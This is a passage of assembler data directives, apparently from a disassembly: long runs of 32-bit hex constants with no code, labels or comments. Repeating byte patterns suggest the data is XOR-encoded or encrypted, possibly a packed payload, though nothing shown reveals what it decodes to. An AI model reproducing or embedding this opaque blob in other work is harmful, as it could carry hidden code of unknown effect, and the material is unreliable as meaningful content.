		dd 0AEB13BDDh, 584D5256h, 0ABB132D6h, 123A5356h, 0E86EDBAEh
		dd 0F84D3256h, 0A3CFADD4h, 0CD095250h, 0C8A85B5Dh, 0BE1FBD7h
		dd 0FD486237h, 0D23CDA3h, 12B72B2Dh, 9CD1C736h,	0BAB1325Bh
		dd 0C312EA5h, 2ECBD56Fh, 956B1E59h, 0CAE5822Fh,	0DA713937h
		dd 0EAB192D2h, 64585256h, 0E8B13256h, 0BCFCC181h, 901C6972h
		dd 413C0CA3h, 0CE348243h, 0D5B134BEh, 0A6A4E856h, 13FA42FAh
		dd 62C7E4D7h, 953A5308h, 0AEA9B059h, 0D2BE3256h, 0ABB13244h
		dd 0D5B13FBFh, 4EA29B56h, 6576E1BAh, 68185B2Fh,	0D0BEF8B6h
		dd 0AEB13243h, 57B122BFh, 496B7E56h, 75E305BBh,	0E11F6F4h
		dd 0F8F1EBE4h, 2503BFAEh, 0B4B72B28h, 0AEB1325Ah, 0CFD5CA44h
		dd 605B5745h, 0CB498EA0h, 0EAB1A8BFh, 6F303D56h, 0DAB13256h
		dd 5DB120BFh, 0BDD61D56h, 21DC20FCh, 3D155F5Eh,	6A6FD7BAh
		dd 168CBB70h, 64586437h, 2AB13256h, 0E27DB621h,	61640F12h
		dd 2AE3D027h, 0F236732Ah, 0D5B137BFh, 84BC4356h, 0BB3A433Dh
		dd 0A9586136h, 8BB13256h, 9027A4A8h, 80A0637Eh,	9C69927Eh
		dd 0ECFD4201h, 8CEA9F02h, 7A10E4D7h, 0B4586737h, 0ACB13256h
		dd 0AAB0D030h, 8F4C7EA2h, 0B50C33Ch, 1223CDCDh,	13B72B2Dh
		dd 0B500520Bh, 0DBE8CA05h, 0AA49FC7Dh, 25D7528Fh, 57333DA6h
		dd 0CAB13256h, 56446CAAh, 0E5B0CA2Bh, 75B181D3h, 0BE3E3D56h
		dd 3DB13256h, 1ED0FDDDh, 57B4DB1Fh, 0AB883256h,	7F2A9E13h
		dd 0EAB9B659h, 0F0BE3256h, 0BAB13254h, 0DCD15336h, 4662ED85h
		dd 0EFD7535Ah, 28BEB759h, 0D5B1325Ah, 0EAB7BE59h, 0F2BE3256h
		dd 0BAB13256h, 0DEBE9930h, 0AEB1325Eh, 57B3BA59h, 0CAD13256h
		dd 0F90B6536h, 0B4E3A09Eh, 33073D37h, 38BE5257h, 5DB13246h
		dd 0AEB138BEh, 0BDB0E256h, 9F328E99h, 8A9851DDh, 3960B330h
		dd 7A1A53CEh, 0BAB133D0h, 8458CA56h, 47B13256h,	57B13245h
		dd 0DB8CB33Dh, 3EFFF384h, 0A69295F1h, 0AC445994h, 0B5EB4817h
		dd 5DB139DAh, 0AEB7DB56h, 45F03256h, 99BF3DA4h,	0D7494FD5h
		dd 0EA3BB759h, 0F5D13256h, 0DBE6F8Fh, 0E5D7539Dh, 22BEFB5Dh
		dd 57B1325Bh, 0ABB13ABFh, 7C4E756h, 340B3E02h, 610A5230h
		dd 319EE6CAh, 0F6D7538Ch, 0A10954AAh, 0FCD7C7D2h, 0ED073DAFh
		dd 6ABE5257h, 93054A6h,	7AD0B71Bh, 0BAB121D8h, 5DBFDB56h
		dd 5A463256h, 9F4C8E47h, 9B4F5A32h, 0E3C68054h,	0EAA0DBFDh
		dd 0DFBA3256h, 1263930Ch, 40A5A8F1h, 0B19C66EFh, 0BED9B2EBh
		dd 0ABB13266h, 0D5B0B959h, 0E5483256h, 75B135D5h, 3BD75256h
		dd 3CF821A4h, 47D196A5h, 57B13251h, 10ECAD60h, 0B5A478EFh
		dd 1D28D30h, 14D0F5DDh,	0DB6FB936h, 4F58F5DDh, 65B13256h
		dd 5BEB4F5h, 3C3DE77Eh,	73F96A42h, 769868F4h, 2C496957h
		dd 0BAB121BFh, 23196156h, 6740F0F4h, 0BCE8E328h, 0C75E74FEh
		dd 0FFA76AF4h, 0EAB13ABFh, 0CE407656h, 0A792344Bh, 5A586C68h
		dd 8BB13256h, 8B0EA6FCh, 28BEA7B0h, 0D5B1325Eh,	0EAB3B059h
		dd 14D13256h, 31D75209h, 3CD152ADh, 0AEB137BFh,	6B814A56h
		dd 0CAD0E175h, 0DD73CB9Fh, 0E8323D56h, 15B13256h, 0B5D15237h
		dd 5DB132DAh, 0A76EB356h, 36FE2861h, 0CAEACE06h, 0C63F3D03h
		dd 3B13256h, 75B13258h,	0F948DA5h, 96330F5Dh, 65443F18h
		dd 0BB3A77FDh, 0BA5852AAh, 0EFB13256h, 7E94CE56h, 90187076h
		dd 0FB76D89Fh, 8FBFDD0Eh, 0AEB132BEh, 0BD306856h, 0ADA89EBDh
		dd 0D5B13DBFh, 450E2F56h, 828873E0h, 0BA55CCE2h, 43C2DA50h
		dd 0AEB126BFh, 702BB256h, 708C28D9h, 0E78406C3h, 5BEC1F04h
		dd 0C7F651BFh, 0FF3ACEDCh, 5DBCDB5Eh, 763D3256h, 73E47155h
		dd 30A5AA19h, 0B580C34Ch, 0EAB120BFh, 0BBF13656h, 3958233Dh
		dd 11FCC6C5h, 6A6F5A12h, 0DDEB390Ah, 293853BDh,	0D3A84924h
		dd 0EAB139BFh, 9250FC56h, 0D9241A44h, 69860D05h, 0A85853AAh
		dd 0E4B13256h, 3412C0E8h, 0DE58FBB6h, 26B13256h, 0EFF8F647h
		dd 4264DEF0h, 0D2BE2D37h, 0AEB13257h, 57B5F0AFh, 574467AEh
		dd 0B4D1DEDDh, 349F6D5h, 75B13244h, 0BE680CFFh,	875B785Ah
		dd 0F5FF7C6h, 0EDF896C8h, 0CB4954BFh, 0D5A2B359h, 0E4583256h
		dd 0A4B13256h, 7C3E9134h
		dd 0DBF3E50Dh, 108F061Eh, 5759CE01h, 0F1B13256h, 7860D8D7h
		dd 0E358344Fh, 0B7B13256h, 0FFC297C5h, 5F6BDE6Bh, 356EB336h
		dd 5890385Dh, 0CBD0FAE1h, 0D5B7B859h, 23303256h, 0F812436h
		dd 0DB7FB930h, 5D497791h, 47B13256h, 57B13247h,	0B2F3784h
		dd 46C54068h, 7ABE0641h, 0A22E42F6h, 46F4F580h,	5DB13256h
		dd 0AEB13CBFh, 0A7AB8A56h, 0DFC8172Dh, 0D07C5E46h, 0D9EEE959h
		dd 0F9BE5296h, 0BAB13250h, 5DB1B559h, 0CED03256h, 5158E1DDh
		dd 0F1B13256h, 22529100h, 61D75378h, 75B9DB48h,	0C5373256h
		dd 7304B4EFh, 2C76389Dh, 51A84FF9h, 0ABB13257h,	0D5A0B159h
		dd 0E6583256h, 4DB13256h, 81222AC0h, 0F9624940h, 0A158DAFAh
		dd 57B133DAh, 2AD7CB56h, 0DA21A2ADh, 0EAB129D3h, 75BCDB56h
		dd 407E3256h, 8A310C1h,	88E4272Bh, 379D7971h, 5C84C0EEh
		dd 0B46FB975h, 0E559C9D6h, 75B426D2h, 0B5F1CE56h, 5DB123DBh
		dd 0A5313D56h, 0BEB13256h, 0ABB13250h, 0F4A743CDh, 1131A972h
		dd 87353DBFh, 0B5B13252h, 5DB12BD4h, 0AEA5DB56h, 69823256h
		dd 1C64E775h, 46D9ADCDh, 1E4C22DDh, 0CD3920D1h,	46F1CA15h
		dd 525AC9D6h, 0AEB5FAD2h, 57B7DB56h, 45AD3256h,	0F776B7CCh
		dd 8B6FB936h, 9231CE16h, 0AB5852A6h, 84B13256h,	4D761EDCh
		dd 94B92EADh, 81EA29AFh, 0A133EEEDh, 11305437h,	0F1BEB259h
		dd 0BAB136C7h, 7C3331AFh, 5BB72144h, 31D15216h,	21C9C0D7h
		dd 0D5B120BEh, 0D4FC4C56h, 3A733A43h, 0F5318820h, 56FCFF12h
		dd 0F70CA3E3h, 57A1DB37h, 99DB3256h, 0FC6591B7h, 18B997D0h
		dd 436B3ACBh, 3AD04761h, 0D9BED0ADh, 0AEB13649h, 3660B936h
		dd 0A452C9D6h, 0D5B2DED2h, 0E53D3D56h, 9CB13256h, 0BAB1325Ch
		dd 34F20532h, 0E51721D5h, 0BFD126EBh, 0ABB13246h, 0E101CCBEh
		dd 17879270h, 0A9655ADCh, 412FBCB3h, 5DB120BFh,	1198FD56h
		dd 80B5D8Dh, 0C4AA1F0Eh, 0BBFB4A2Ch, 0B2CB1DFCh, 2C53B330h
		dd 3BD75342h, 525255ADh, 0AEB28CD2h, 0A03A5256h, 0B9FC8A30h
		dd 2552B237h, 0EAB9BF59h, 0F1BE3256h, 0BAB13254h, 0A6315336h
		dd 68353D26h, 0BEB13255h, 0ABB13247h, 0A93473DCh, 10A85B5Fh
		dd 23EF3AE7h, 0B7125A99h, 433A54AEh, 5652B2A3h,	57B0BE59h
		dd 2B483256h, 51BE8AADh, 0EAB133F1h, 75B13EBFh,	8B82CA56h
		dd 4BA9D1E0h, 68EACBCh,	528FB2FCh, 0AA3CB659h, 57BE3256h
		dd 0EAB13244h, 75B13FBFh, 85044356h, 0C1ECF4EFh, 0C57656A3h
		dd 0D5BE286Eh, 0ABB1325Dh, 0D5B134BFh, 0A3CFC356h, 0F580AB5Ah
		dd 3EBE1F68h, 5DB1330Dh, 770E3D36h, 3640B930h, 0A4D90CD6h
		dd 0D5B078D2h, 1FF1CE56h, 733B3D36h, 0B5B13256h, 5DB132DBh
		dd 2C4E5356h, 51A84FF9h, 0ABBCDB36h, 7B773256h,	1D469053h
		dd 322868E4h, 0DB3F068Eh, 3DAFB930h, 0AEB7B759h, 9C303256h
		dd 0AF8D9693h, 0D5B3BD59h, 0B5E13256h, 0F4D75237h, 0B561F891h
		dd 5DB130DBh, 0CFEB6256h, 3749D5D6h, 0CDD05236h, 0B4F1C4EDh
		dd 0EAB126BEh, 0F2DBAC56h, 729231AEh, 0F9EE448Ch, 0DA35EDEEh
		dd 31E765EBh, 0CDD06B5Fh, 3D30C9D7h, 0EA74B659h, 134D3256h
		dd 30BE2CDDh, 5DB1325Ah, 0AEB7BC59h, 0DEBE3256h, 0ABB13256h
		dd 2556B2AAh, 0EAB135BFh, 8E04A756h, 0EDE20968h, 0A63054AAh
		dd 2ABEF2D7h, 57B132C5h, 24BE52AEh, 0D5B13251h,	0EAB0B259h
		dd 20443256h, 0BAB13CBFh, 5DD41356h, 0D9A15767h, 0B0462052h
		dd 5483668Eh, 0CCCAF5C4h, 60D15250h, 0BC305490h, 0B5D0E122h
		dd 5DB130D9h, 0CFD05256h, 5B303D0Bh, 0A4B13256h, 0D5B134DEh
		dd 0EA3F3D56h, 9CB13256h, 0BAB13259h, 1D3197D8h, 0BA58AABCh
		dd 1AB5CACh, 22567835h,	0D958CE13h, 0E4B13256h,	4F83F0Ch
		dd 0FB5F9702h, 0B4ED09D7h, 0AEB1325Ch, 0AE558F8Dh, 172DDC10h
		dd 29D09008h, 0EB4D4FD5h, 73DDB759h, 31483256h,	4EBF8BECh
		dd 0B3353D50h, 58B13256h, 0ABB125D5h, 0D5A3DB56h, 5A593256h
		dd 0F961C828h, 5A162C56h, 6D527C1Fh, 0D26CFDA7h, 57B4DB06h
		dd 5CAF3256h, 5E9D6255h, 0F3CC9DD4h, 4988CE50h,	0BAB8DB66h
		dd 83CD3256h, 0BC459066h, 58A6CB91h, 0ABB137D7h, 5ED75256h
		dd 0E5E95398h, 75B73FD4h, 3ACB56h, 5BA21BCFh, 0AEA8BB59h
		dd 43583256h, 0BEB13256h, 93FA8399h, 0D194DF8Eh, 7E7F1226h
		dd 4B46FE6Ah, 0DD1CFB2h, 0AEBEBB59h, 5D583256h,	4AB13256h
		dd 252C589Ah, 36E4D9F2h, 0F73ACB42h, 0BCA84FF9h, 5F3A3D36h
		dd 0F8B13256h, 6B88530Fh, 0A4E9C766h, 0D5B487D9h, 0FB393D56h
		dd 9CB13256h, 0BAB1325Ah, 9BD6DECEh, 9AD1AB5h, 0DB9D7B88h
		dd 0F00BB9AAh, 0DAB72B2Dh, 0EAB123D4h, 7E353D56h, 53B13256h
		dd 5DB13250h, 0A5B3F970h, 0D5321EC6h, 0ADA8490Dh, 55D1CE42h
		dd 63D0CF8Eh, 0A2315261h, 703A542Ch, 4DF6BB37h,	0A5585236h
		dd 0A8B13256h, 27CFD820h, 68F11B20h, 6BD7F75Dh,	1494B3BEh
		dd 3FBE6237h, 5DB13243h, 0AEBEB159h, 5D583256h,	32B13256h
		dd 48BA67AEh, 661C2331h, 0DA33B999h, 46B72B2Bh,	0B4812EDDh
		dd 0AEB1325Dh, 328A6A2Bh, 0E95ECE14h, 8D9C6878h, 0EAA6BA59h
		dd 67583256h, 98B13256h, 40F6B686h, 0DA78056Ch,	82DAD076h
		dd 0B5F61D3Bh, 0DDEEBBEAh, 8C748236h, 14D25FE9h, 0BAB5DBBFh
		dd 47323D56h, 0A1B13256h, 57B126DEh, 0ABBEDB56h, 17333256h
		dd 89769EC7h, 3363AD93h, 0E9204167h, 0A5F4F593h, 0AEB13254h
		dd 99063D36h, 7C305237h, 0C5662337h, 0EA86DB37h, 0F4BE3256h
		dd 0BAB13251h, 5DB0B959h, 694D3256h, 57B0CA13h,	42D13256h
		dd 0D5B1325Dh, 3536251Ah, 0CA37E1CBh, 0B5B77108h, 5DB139D7h
		dd 0AEB4DA56h, 302B3256h, 0F08E48C2h, 8E0BB937h, 8AB72B2Dh
		dd 75B0BA59h, 0DB4D3256h, 26EAB0D5h, 0CEA5344Fh, 57A3B159h
		dd 0A7593256h, 0CAB13256h, 64303C1h, 3D110AD7h,	0E147BFC8h
		dd 3BEE6436h, 81DBC4D7h, 0D0BE5337h, 0ABB13257h, 2C86BBA3h
		dd 8AA175DFh, 7649B137h, 0BA87B759h, 9A443256h,	0B7CC9DD4h
		dd 57B13050h, 0ABBADB56h, 7F6F3256h, 0D0C7669h,	0A24B3D68h
		dd 0BA91DB9Dh, 4C583256h, 2FB13256h, 3E243C5Eh,	29F88E4Bh
		dd 34796209h, 0D500E90Fh, 7AB3CAD5h, 0BAB309DBh, 2032C756h
		dd 2ABE32AEh, 57B132D7h, 0ABBAB059h, 55D13256h,	6DBEF7B6h
		dd 75B13256h, 0CBEC737h, 0F44D3310h, 0AEB132D6h, 5795B759h
		dd 0EB443256h, 0D5BADB36h, 1EBB3256h, 84820A6Ch, 0DE90B1Eh
		dd 0B53253F2h, 8358C753h, 58B13256h, 0ABB133DBh, 2A9CC756h
		dd 0E5B13256h, 75B135DAh, 0BB313D56h, 0A1B13256h, 47B4DAD5h
		dd 57B1325Ah, 0FAA3946Eh, 85423E6Dh, 3BD080EAh,	75B160BFh
		dd 0B03C3D56h, 3DB13256h, 2DBE2FE1h, 57B13256h,	22BE6137h
		dd 0D5B1325Ch, 0EAB137BFh, 82FB6156h, 203A58D9h, 5BA84FF9h
		dd 0AEB123BFh, 0A9D8A656h, 0ABB29511h, 4CC54279h, 1E05B71Fh
		dd 713AB56Ah, 53EAC765h, 5DB1325Dh, 132609A4h, 0D3F2969Eh
		dd 29DF8DEh, 55B13256h,	0EACCB759h, 7A443256h, 0BAB13ED9h
		dd 5B303D56h, 0A1B13256h, 57B132D8h, 53773156h,	0B5B4F2D5h
		dd 0EAB13BBEh, 50081E56h, 8C19C959h, 3CEFC723h,	13331A3h
		dd 0AFB72B2Bh, 0ABB8DB1Eh, 0C75F3256h, 0A1ED367Fh, 0FC6AA095h
		dd 0AA583A11h, 0F5B13256h, 0D556C280h, 0E5AECE04h, 7AE8F5E4h
		dd 5C3E9134h, 3483E11h,	75B130F8h, 0A8383D36h, 0B4B13256h
		dd 0AEB1325Bh, 2A1FBC63h, 0F41AA776h, 706F495h,	1D4853B8h
		dd 75B9DB8Eh, 4BFC3256h
		dd 0B32CA214h, 0A1D120BFh, 57B130D4h, 0CBD05256h, 0E9B189EEh
		dd 183A5402h, 0B39A5337h, 0BAB9BC59h, 0DCD13256h, 3AFF084h
		dd 8F465358h, 0ABB120BFh, 8A759D56h, 2156B2B4h,	8889A6EBh
		dd 90CCFA3Ah, 0DE0EF8DBh, 21BE3796h, 57B1325Fh,	16518B36h
		dd 0B4D14D6Dh, 45333137h, 89B72B2Bh, 0B358521Eh, 0FB13256h
		dd 3BE3B8E9h, 0EE9FE173h, 0CA4BB930h, 0B5B975DFh, 0EAB122BFh
		dd 6E214256h, 51AB27F6h, 0A53D1AE5h, 51496198h,	0A531609Eh
		dd 22D06B65h, 5FBE3E11h, 0EAB1324Fh, 75B126BFh,	1D0ED756h
		dd 0B7A9F55Dh, 3672DD6h, 0C6F7801Dh, 0E0BCCEFEh, 0D5A1DB04h
		dd 1D7E3256h, 5E61DDACh, 3E513E2Ch, 0CC2C1781h,	1158C803h
		dd 0BEB13257h, 0ABB1325Ah, 4081D549h, 0D41F03EDh, 363CDF26h
		dd 0B548F265h, 5DB13DDCh, 0AEBBDB56h, 0F1603256h, 7DAF53FFh
		dd 0DBD96608h, 3B074DCh, 75B1325Ah, 7B2A83A9h, 0D291C5A3h
		dd 886C1BABh, 0D2BEB2FEh, 0ABB132E9h, 0D5B126BFh, 0A4927B56h
		dd 3A043303h, 8E9B58F5h, 701D8506h, 2F303551h, 0BE77312Dh
		dd 0ABB1325Dh, 3EEBA6D1h, 7FA18125h, 0F6BA97CDh, 0B4583096h
		dd 0EDB13256h, 0EB94FD9Fh, 41C1C29h, 0D1751E17h, 0D5B08999h
		dd 0E14D3256h, 36353D8Dh, 0DAB13256h, 5DB123BEh, 0E5664856h
		dd 3A06252Ah, 2C290A5Fh, 8A5E860h, 283AFBB5h, 0EF0F5409h
		dd 203B53A9h, 5BA9A97Fh, 0AEB126BFh, 0F71D2E56h, 9C9D282Ah
		dd 0A4AA2DCDh, 338B45C0h, 165E112Eh, 5931CE7Bh,	9EB2CB57h
		dd 0AEA5DB36h, 53863256h, 0C2116D04h, 20CF3724h, 0E4E65728h
		dd 0FBB161Ch, 33D09483h, 0A4443A11h, 52BD75DFh,	570DDBAEh
		dd 5C443256h, 0D5A3DB8Eh, 0D3BB3256h, 909AD37Ch, 3C591135h
		dd 219C7960h, 4EB46647h, 57BAB059h, 0AD583256h,	1EB13256h
		dd 4F2FC261h, 754E1786h, 0B4583256h, 63B13256h,	8185C5EFh
		dd 8BB4FAF2h, 2C9815F2h, 0DA771967h, 0EAB135D4h, 74383D56h
		dd 43B13256h, 0B5D1EAA1h, 0AEB1325Ah, 66A9A68Bh, 1267E13Bh
		dd 41EE94C9h, 0F95869AFh, 10B13256h, 8F20CFD1h,	933E29DBh
		dd 9EDF82AEh, 22587944h, 42D06EE8h, 0D5B1325Bh,	372288EDh
		dd 0E06FA90Eh, 40EFB62Fh, 5F71B1E6h, 0AEB13ABFh, 0F8B37556h
		dd 0A288F905h, 0DDF6BB5Ah, 0E6F6BBAAh, 0B23A5436h, 0BAB13ABFh
		dd 0BDE9556h, 0F25067F8h, 584953E0h, 0ABB139D7h, 990E5256h
		dd 8C83319Ch, 148A4EEEh, 0B2313D37h, 3DB13256h,	0D3BC8830h
		dd 9ED05336h, 25BEF1AEh, 0D5B1324Eh, 0EAA3B059h, 78583256h
		dd 1FB13256h, 1902759Ch, 5C0F8137h, 8651ADF5h, 0ABBDDB03h
		dd 0D2013256h, 6EDCDAC6h, 6EBBED4h, 563A08A6h, 0BD305436h
		dd 2DD0D75Fh, 0D6BECE92h, 0ABB13251h, 0D5B0B759h, 8A4D3256h
		dd 75B6B759h, 3FBE3256h, 5DB13257h, 0AEB1DAA3h,	0D6EB3256h
		dd 0B209FEBCh, 0C13C3D50h, 3B13256h, 75B13259h,	0B393DEB3h
		dd 226763D1h, 0F34EC11Fh, 3787360Dh, 0ABB122BEh, 47B7B856h
		dd 0C703E276h, 17F424EBh, 1E381DD9h, 5D313DE4h,	0F1B13256h
		dd 1A0BB937h, 0CBB72B2Dh, 0B3768D59h, 0D9D0CADDh, 4A32C79Fh
		dd 63353D56h, 3DB13255h, 0AEB7B259h, 0DCBE3256h, 0ABB13256h
		dd 0C9FDE3D7h, 61D03100h, 8AD05251h, 45493E23h,	0D0BE3A23h
		dd 0AEB1325Eh, 57B3BC59h, 0CAD13256h, 0C3363D06h, 3B13256h
		dd 75B13247h, 90ED27FCh, 0E683E640h, 52BDA452h,	254FA8E7h
		dd 0A367DA62h, 5ABE3256h, 0EAB1325Eh, 75B3BF59h, 0DBD13256h
		dd 0D8BEF25Dh, 0AEB1324Ah, 57B0BE59h, 20443256h, 0D5B9DB51h
		dd 0EECB3256h, 5F7E7A21h, 96583EF1h, 0A5B13256h, 47A5F5D5h
		dd 57B13250h, 57771464h, 0B6582765h, 34ECDA9h, 75B13245h
		dd 4F58F9F5h, 0F2384AD9h, 0B3B80A06h, 1880B84Ah, 223D9C39h
		dd 2A44CE13h, 6ABE3E23h, 75B13257h, 0B2C4CDA3h,	5DB6B059h
		dd 27BE3256h, 57B13257h, 5386CDA3h, 0D5B961BEh,	2ABACB56h
		dd 75A5B659h, 0B5493256h, 5DB133DCh, 5F58CB56h,	58B13254h
		dd 0ABB133DBh, 903ACE56h, 0ED88CAAAh, 776FB059h, 45493256h
		dd 0D6BECE13h, 0AEB1325Eh, 57B3B059h, 0CAD13256h, 0E0E3D36h
		dd 8B61B930h, 75B54DD5h, 0BAF0B659h, 50583256h,	30B13256h
		dd 9266160Bh, 228B754Dh, 821A5F8Fh, 0EABD4DD5h,	7594B659h
		dd 30BE3256h, 5DB13246h, 0AEB139BFh, 9EF40556h,	673D8EDCh
		dd 59F9BCF1h, 0EAB16EBFh, 75B4DB56h, 0BB573256h, 0E56B1B76h
		dd 514ECDA9h, 57A5DB36h, 98EF3256h, 3CFEE909h, 0D52B1AB7h
		dd 55416BA2h, 99296618h, 0E4D0ED99h, 0AEB13253h, 57B9B759h
		dd 2EBE3256h, 0D5B13254h, 41425336h, 75B0BE59h,	53483256h
		dd 0A24ECD59h, 0AEBAB159h, 58D13256h, 0ABB132D8h, 30E3D56h
		dd 0FACEB137h, 28353D53h, 53B13256h, 5DB1325Eh,	0FA535957h
		dd 9D6C578Ah, 0ADA14DD5h, 0D5C1B759h, 63BE3256h, 75B1325Ah
		dd 0BAB135BFh, 0BCEEAB56h, 4DDF8790h, 57B9BA59h, 24BE3256h
		dd 0D5B13254h, 12F05336h, 9CB575DDh, 0BAB13251h, 32B4DFEEh
		dd 25F836D2h, 0BE443E09h, 0ABB13250h, 7E7240B1h, 87585D0Bh
		dd 80B13257h, 43B575DDh, 52BD6DDDh, 0AEB134D8h,	963A5256h
		dd 42D0C0DDh, 0D5B13316h, 0EAB13FBFh, 9FDCAC56h, 0E8FB8D5h
		dd 2655F501h, 0E93AB8EFh, 0DCD75252h, 4C306395h, 0B8B0055Bh
		dd 0B53A5309h, 9CD1C75Ah, 0BAB1325Bh, 81BC8D1Dh, 6DE452FAh
		dd 0B34A7962h, 64316479h, 0EED06B7Fh, 6FBE3A09h, 75B13220h
		dd 0BAB0B459h, 0F4D3256h, 0AAE6B9AEh, 57B123BFh, 54079756h
		dd 0C2F57B70h, 4870ECF9h, 9B12410Dh, 0EF9A2D81h, 8B2CA46h
		dd 0AEA3DB42h, 183D3256h, 347852C6h, 49422AA0h,	6841B9E5h
		dd 41AE9C96h, 0DABD6DDDh, 0D6B8D7D6h, 749A538Fh, 0D7E152AFh
		dd 0CAE80C9Fh, 0DAB4D9D5h, 0EAB133DEh, 2F49CE56h, 0BAB137BFh
		dd 9B6A8A56h, 0DB58AE49h, 58B13256h, 0ABB133D7h, 923ACB56h
		dd 0EABADB52h, 1F703256h, 637F6C66h, 626E2B62h,	0A2EEB975h
		dd 57B8DB36h, 74B23256h, 0CEEC0DAFh, 8B5DEFE9h,	7AB56D7Dh
		dd 0BAB130D1h, 0A4D05256h, 0A1B4D9D5h, 57B133DBh, 21B2CE56h
		dd 0D3A23C9Fh, 0EAA1BD59h, 0FFBE3256h, 0BAB1325Ch, 5DB137BFh
		dd 5509856h, 0DCD1D7FDh, 0ABBCDB9Dh, 6FB33256h,	94F5D8A2h
		dd 7D5E870h, 0DB276B64h, 5EA14DD5h, 0AEBBB759h,	31D13256h
		dd 1F51DAECh, 20F05309h, 61D1EB7Dh, 8B0E3DADh, 0BF3E3D37h
		dd 3DB13256h, 0CFEE64AEh, 56B06EDFh, 544E8AAEh,	0C758CDA9h
		dd 0CAB13256h, 25F3103h, 28FAFFD4h, 7BBBFA25h, 43FA4478h
		dd 57B48B50h, 0A2583256h, 5FB13256h, 0C41B25CFh, 71FCF64h
		dd 0B75899A5h, 1B13256h, 4E77E049h, 68ABB3E8h, 0D7F83C22h
		dd 2A4DECBFh, 0EB353DA9h, 8CB13256h, 52E75237h,	5DB1325Eh
		dd 1BB06718h, 7DDB9119h, 62D06908h, 0D5B134BFh,	75738A56h
		dd 7AE3485Fh, 0BAB13AD3h, 5F373D56h, 0CEB13256h, 57A1F037h
		dd 0ABB139BFh, 0ADF0B56h, 0F2E0C36Ch, 22248612h, 563ACB03h
		dd 0E2BE5236h, 603A54A1h, 57BFDA37h, 0C5FA3256h, 0DFE781CFh
		dd 0EB03AEB2h, 0CC054A22h, 0DBEA5336h, 0B44DF6D5h, 0AEB13258h
		dd 1EC8020Dh, 0F82C6D73h, 97545AA7h, 8AD18E2Ah,	75B126BEh
		dd 0EB428956h, 0D870799Ch, 0E95D4AAAh, 0E410AFA3h, 0FE45A928h
		dd 0D943B339h, 0B5EE560Fh, 9DD0EBDDh, 0BAB13256h, 0FF5BB30Ch
		dd 0A1B72BEBh, 57B121D0h, 0ABBFDB56h, 864E3256h, 0D0D5D00Dh
		dd 7D5BE2DEh, 0D2359187h
		dd 100BB9AFh, 47B72B2Dh, 57B13250h, 66B3DF99h, 6ED1D19Dh
		dd 0ED2F3854h, 0BC8253AEh, 0BA8EB1AAh, 59F2B659h, 2CBE3256h
		dd 57B13257h, 42B6B9AAh, 0D5B1325Ch, 0BA357989h, 9F0829B1h
		dd 0CF4E3741h, 5DA1DB5Ah, 0DDCF3256h, 5CEC5D02h, 3A9BFB73h
		dd 3FDAFB92h, 9F4E36C7h, 74333D5Eh, 46B13256h, 5A3E3D06h
		dd 0A1B13256h, 57B133D2h, 0BE59CE56h, 0DAB13252h, 0EAB133DFh
		dd 0B5BACB56h, 0BA8BB759h, 0D3BE3256h, 0AEB13257h, 37B6B9AAh
		dd 0CDEF6236h, 4A10F2D7h, 0EABEDA37h, 22B53256h, 0ABCC0BC1h
		dd 0CD0DFCDDh, 117DB621h, 98305412h, 0CAEA0B43h, 0D5B164BFh
		dd 0EB3D3D56h, 89B13256h, 53A5F5D5h, 5DB1325Dh,	7AD9B8ABh
		dd 0C93FD78Ah, 0A4767BADh, 0D5B139D1h, 0EAB7DB56h, 11593256h
		dd 51DB18DEh, 0A24E0ABFh, 0A75852A9h, 0EBB13256h, 5F708A70h
		dd 5E993A9Dh, 278CE5D7h, 7AD002F6h, 0BAB138D9h,	3E05256h
		dd 0B9BAD9D7h, 0DED024D9h, 5444CE13h, 3C443E23h, 0EAB1325Bh
		dd 0BC460689h, 36803B62h, 32F49E5h, 0A6C4CD3Ah,	604ECAAFh
		dd 0A4E86236h, 0D5B132D6h, 0A7595356h, 7AB13255h, 0BAB133D4h
		dd 9DBACB56h, 0AE98B659h, 50583256h, 20B13256h,	2A4C6FD7h
		dd 0E4581131h, 9CB13255h, 0BAB13245h, 5BE83097h, 815FD971h
		dd 0E52F3568h, 0E5F1B6EDh, 5E1795E2h, 0D348CE13h, 9F333D51h
		dd 53B13254h, 5DB1325Bh, 85FF331Ah, 3E534CBEh, 47ADCDFAh
		dd 29F4CD5Dh, 0EAA0B059h, 79583256h, 18B13256h,	25A32567h
		dd 5DE2E564h, 374A5FBFh, 5EA692EFh, 56D0CE62h, 0E5B13629h
		dd 75B11AD2h, 0C532C756h, 0D9BE325Ah, 0AEB1324Bh, 57B0B359h
		dd 42483256h, 0D5B13208h, 0EC343D36h, 7AB13256h, 0BAB132D6h
		dd 0AD0E3D56h, 514E8A37h, 0D7BECDA9h, 0ABB1325Ch, 54818236h
		dd 0E5C11289h, 70085353h, 53B13256h, 5DB1325Dh,	0BA65D22Ah
		dd 90A75DB1h, 58E5D46Bh, 5ED752FDh, 0EAA0DB95h,	0AF363256h
		dd 0B363FA5Dh, 37982281h, 0D918863Eh, 36668201h, 544FECBFh
		dd 0AA32CEA9h, 6EBE3746h, 75B132D2h, 0AACEB1AFh, 9A343D50h
		dd 0CEB13256h, 1726D8E8h, 170E5429h, 0DAF053EEh, 0EAB135D4h
		dd 743A3D56h, 46B13256h, 52B575DDh, 0AEB133D4h,	83ACE56h
		dd 0A359525Ah, 19B13256h, 0B3E3B42Ah, 9CEC6E20h, 0BAB1325Ch
		dd 0FB432119h, 6026C4A2h, 0D6EF0286h, 7A17A081h, 81585359h
		dd 8AB13257h, 75B122BFh, 911FB56h, 52AEDD99h, 98B9AB83h
		dd 3F6353C3h, 0ABBCDB9Ah, 832D3256h, 56EC941Bh,	19039B5Fh
		dd 0DBFCF221h, 52B575DDh, 0AEB138D5h, 0E8BE5256h, 6A305491h
		dd 0B5D08EC5h, 0E01F8930h, 75B13EBFh, 0BCD44556h, 0D2FABAEDh
		dd 6E8D6D28h, 83A53CEh,	4244CE5Ah, 0D5B1328Bh, 0BD40B936h
		dd 75B13DBFh, 0C6CA8B56h, 0E964CF1h, 0FD04CFD5h, 0B45A6FFh
		dd 0EC3A530Fh, 54D75252h, 0E5779A94h, 75B130DCh, 0DB998456h
		dd 0B4BD6DDDh, 0AEB13245h, 402D456Eh, 533AC81h,	89059F9Fh
		dd 6BC1F0CDh, 151C7582h, 9472E8EEh, 5DA1DA79h, 0CF423256h
		dd 0C86FF716h, 0C176CFE3h, 6DB6FA90h, 3C3A5FFEh, 2A9A530Dh
		dd 0B13A3D52h, 0B4B13256h, 0AEB13250h, 0EDE35343h, 40324872h
		dd 6ABE5253h, 0EAB9DB8Ch, 0BC7A3256h, 5E385D96h, 0DED08443h
